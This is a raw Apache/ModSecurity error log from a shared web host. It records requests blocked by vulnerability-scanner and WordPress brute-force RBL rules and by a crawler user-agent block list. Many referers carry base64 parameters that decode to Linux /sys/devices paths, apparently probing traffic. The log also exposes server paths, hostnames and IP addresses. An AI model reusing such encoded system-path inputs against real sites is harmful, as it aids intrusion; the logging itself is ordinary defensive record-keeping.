server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:22.546465 2026] [access_compat:error] [pid 531155:tid 531269] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:22.646111 2026] [security2:error] [pid 531155:tid 531275] [remote 17.241.75.74:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 74.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yXimiP80klyS0NnoexgABiHc"] [Sat Jun 13 18:14:22.699688 2026] [access_compat:error] [pid 531155:tid 531196] [remote 57.141.14.12:47314] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:22.700771 2026] [access_compat:error] [pid 531155:tid 531196] [remote 57.141.14.12:47314] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:22.837397 2026] [access_compat:error] [pid 531155:tid 531162] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:14:22.837860 2026] [access_compat:error] [pid 531155:tid 531162] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:14:23.180430 2026] [access_compat:error] [pid 531155:tid 531217] [remote 57.141.14.103:53986] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:23.180871 2026] [access_compat:error] [pid 531155:tid 531217] [remote 57.141.14.103:53986] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:23.228672 2026] [security2:error] [pid 531155:tid 531238] [remote 17.241.227.186:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yXymiP80klyS0Nnoe7wABQlI"] [Sat Jun 13 18:14:23.334934 2026] [access_compat:error] [pid 531155:tid 531229] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDMvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:14:23.335375 2026] [access_compat:error] [pid 531155:tid 531229] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDMvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:14:23.412834 2026] [access_compat:error] [pid 531155:tid 531177] [remote 57.141.14.102:31299] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:23.413195 2026] [access_compat:error] [pid 531155:tid 531177] [remote 57.141.14.102:31299] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:23.878289 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:14:23.878770 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:14:23.908207 2026] [access_compat:error] [pid 531155:tid 531263] [remote 57.141.14.75:52298] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:23.908513 2026] [access_compat:error] [pid 531155:tid 531263] [remote 57.141.14.75:52298] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:23.939893 2026] [security2:error] [pid 531155:tid 531349] [client 114.119.155.10:53453] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "agribiolink.com"] [uri "/favicon.ico"] [unique_id "ai3yXymiP80klyS0NnofKQAAAUo"], referer: https://agribiolink.com/favicon.ico [Sat Jun 13 18:14:23.947556 2026] [security2:error] [pid 531155:tid 531181] [remote 17.246.23.87:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 87.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yXymiP80klyS0NnofJgABEBk"] [Sat Jun 13 18:14:24.398487 2026] [access_compat:error] [pid 531155:tid 531228] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvd2FrZXVwL3dha2V1cDMzL3N1YnN5c3RlbS93YWtldXAzMQ== [Sat Jun 13 18:14:24.398792 2026] [access_compat:error] [pid 531155:tid 531228] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvd2FrZXVwL3dha2V1cDMzL3N1YnN5c3RlbS93YWtldXAzMQ== [Sat Jun 13 18:14:24.497174 2026] [access_compat:error] [pid 531155:tid 531270] [remote 57.141.14.67:36417] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:24.497620 2026] [access_compat:error] [pid 531155:tid 531270] [remote 57.141.14.67:36417] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:24.676719 2026] [security2:error] [pid 531155:tid 531226] [remote 47.128.118.172:56920] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "ftp.codeproblem.com"] [uri "/business/listing/show/232"] [unique_id "ai3yYCmiP80klyS0NnofVAABaUY"] [Sat Jun 13 18:14:24.700496 2026] [core:error] [pid 531155:tid 531377] [client 20.244.0.163:50080] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: binance.com [Sat Jun 13 18:14:24.700521 2026] [core:error] [pid 531155:tid 531377] [client 20.244.0.163:50080] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: binance.com [Sat Jun 13 18:14:24.835089 2026] [access_compat:error] [pid 531155:tid 531198] [remote 57.141.14.49:54569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:24.835367 2026] [access_compat:error] [pid 531155:tid 531198] [remote 57.141.14.49:54569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:24.864295 2026] [access_compat:error] [pid 531155:tid 531262] [remote 57.141.14.29:51635] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:24.864598 2026] [access_compat:error] [pid 531155:tid 531262] [remote 57.141.14.29:51635] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:24.927525 2026] [access_compat:error] [pid 531155:tid 531241] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:14:24.927819 2026] [access_compat:error] [pid 531155:tid 531241] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:14:25.296157 2026] [security2:error] [pid 531155:tid 531217] [remote 17.241.227.183:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 183.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yYSmiP80klyS0NnofeAABET0"] [Sat Jun 13 18:14:25.443997 2026] [security2:error] [pid 531155:tid 531248] [remote 17.22.237.240:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 240.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yYSmiP80klyS0NnofgwABTVw"] [Sat Jun 13 18:14:25.469737 2026] [access_compat:error] [pid 531155:tid 531257] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvZGV2aWNlL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:14:25.470010 2026] [access_compat:error] [pid 531155:tid 531257] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvZGV2aWNlL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:14:25.475279 2026] [access_compat:error] [pid 531155:tid 531282] [remote 57.141.14.33:49953] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:25.475566 2026] [access_compat:error] [pid 531155:tid 531282] [remote 57.141.14.33:49953] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:25.667637 2026] [access_compat:error] [pid 531155:tid 531223] [remote 57.141.14.109:23752] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:25.668121 2026] [access_compat:error] [pid 531155:tid 531223] [remote 57.141.14.109:23752] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:26.017127 2026] [access_compat:error] [pid 531155:tid 531199] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2V2ZW50NC9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZQ== [Sat Jun 13 18:14:26.017585 2026] [access_compat:error] [pid 531155:tid 531199] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2V2ZW50NC9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZQ== [Sat Jun 13 18:14:26.030215 2026] [security2:error] [pid 531155:tid 531272] [remote 65.109.168.36:43742] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 36.168.109.65.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "genesisboggs.com"] [uri "/wp-login.php"] [unique_id "ai3yYimiP80klyS0NnofoQABJnQ"] [Sat Jun 13 18:14:26.038349 2026] [access_compat:error] [pid 531155:tid 531168] [remote 57.141.14.56:60804] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:26.038851 2026] [access_compat:error] [pid 531155:tid 531168] [remote 57.141.14.56:60804] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:26.177617 2026] [security2:error] [pid 531155:tid 531349] [client 172.56.168.133:58840] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yYimiP80klyS0NnofrwAAAUo"] [Sat Jun 13 18:14:26.177787 2026] [security2:error] [pid 531155:tid 531349] [client 172.56.168.133:58840] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yYimiP80klyS0NnofrwAAAUo"] [Sat Jun 13 18:14:26.315107 2026] [security2:error] [pid 531155:tid 531167] [remote 17.246.15.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yYimiP80klyS0NnoftAABiAs"] [Sat Jun 13 18:14:26.331841 2026] [access_compat:error] [pid 531155:tid 531161] [remote 57.141.14.105:49314] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:26.332101 2026] [access_compat:error] [pid 531155:tid 531161] [remote 57.141.14.105:49314] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:26.361193 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.110:53932] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:26.361487 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.110:53932] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:26.453494 2026] [access_compat:error] [pid 531155:tid 531191] [remote 57.141.14.68:47024] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:26.453870 2026] 